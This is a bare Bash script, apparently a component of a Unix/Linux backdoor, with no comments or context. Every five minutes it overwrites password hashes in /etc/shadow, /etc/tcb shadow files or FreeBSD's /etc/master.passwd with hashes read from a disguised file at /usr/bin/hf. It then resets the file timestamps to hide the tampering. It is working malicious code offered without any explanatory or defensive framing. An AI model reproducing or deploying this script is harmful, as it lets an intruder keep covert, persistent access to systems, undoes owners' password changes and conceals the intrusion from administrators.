#!/bin/bash
hf="/usr/bin/hf"
replace_string()
{
if [ "$pass" != `echo $hfl | awk -F: '{print $2}'` ]; then
    line=`echo $hfl`
fi
}
date_linux()
{
ls $1 --full-time --time-style=+%y%m%d%H%M | awk '{print $6}'
}
date_bsd()
{
date=`ls -lT $1`
year=`echo $date | awk '{print $9}'`
month=`echo $date | awk '{print $6}'`
day=`echo $date | awk '{print $7}'`
time=`echo $date | awk '{print $8}'`
time=`echo $time | awk -F: '{print $1$2}'`
case $month in
Jan) month="01" ;;
янв) month="01" ;;
Feb) month="02" ;;
фев) month="02" ;;
Mar) month="03" ;;
мар) month="03" ;;
Apr) month="04" ;;
апр) month="04" ;;
May) month="05" ;;
май) month="05" ;;
Jun) month="06" ;;
июн) month="06" ;;
Jul) month="07" ;;
июл) month="07" ;;
Aug) month="08" ;;
авг) month="08" ;;
Sep) month="09" ;;
сен) month="09" ;;
Oct) month="10" ;;
окт) month="10" ;;
Nov) month="11" ;;
ноя) month="11" ;;
Dec) month="12" ;;
дек) month="12" ;;
esac
len=${#day}
if [ "$len" = "1" ]; then day=`echo 0$day`
fi
echo $year$month$day$time
}
big_job()
{
while read line
do
    while read hfl
    do
        user=`echo $line | awk -F: '{print $1}'`
        pass=`echo $line | awk -F: '{print $2}'`
        if [ "$user" = `echo $hfl | awk -F: '{print $1}'` ]; then
        replace_string
        fi
    done<$hf
    echo $line>>pass.txt
done<$f
mv ./pass.txt $f
touch -t$date $f
}
case `uname` in
Linux)
while true; do
f="/etc/shadow"
if `test -d /etc/tcb`;
then
    while read hfl
    do
        user=`echo $hfl | awk -F: '{print $1}'`
        if `test -d /etc/tcb/$user`; then
            f=`echo /etc/tcb/$user/shadow`
            date=`date_linux $f`
            while read line
            do
            pass=`echo $line | awk -F: '{print $2}'`
            replace_string
            echo $line>pass.txt
            done<$f
            mv ./pass.txt $f
            chmod 640 $f
            chown $user:auth $f
            touch -t$date $f
        fi
    done<$hf
else
    date=`date_linux $f`
    big_job
fi
sleep 5m
done
;;
FreeBSD)
while true; do
f="/etc/master.passwd"
date=`date_bsd $f`
big_job
pwd_mkdb $f
sleep 5m
done
;;
esac
exit 0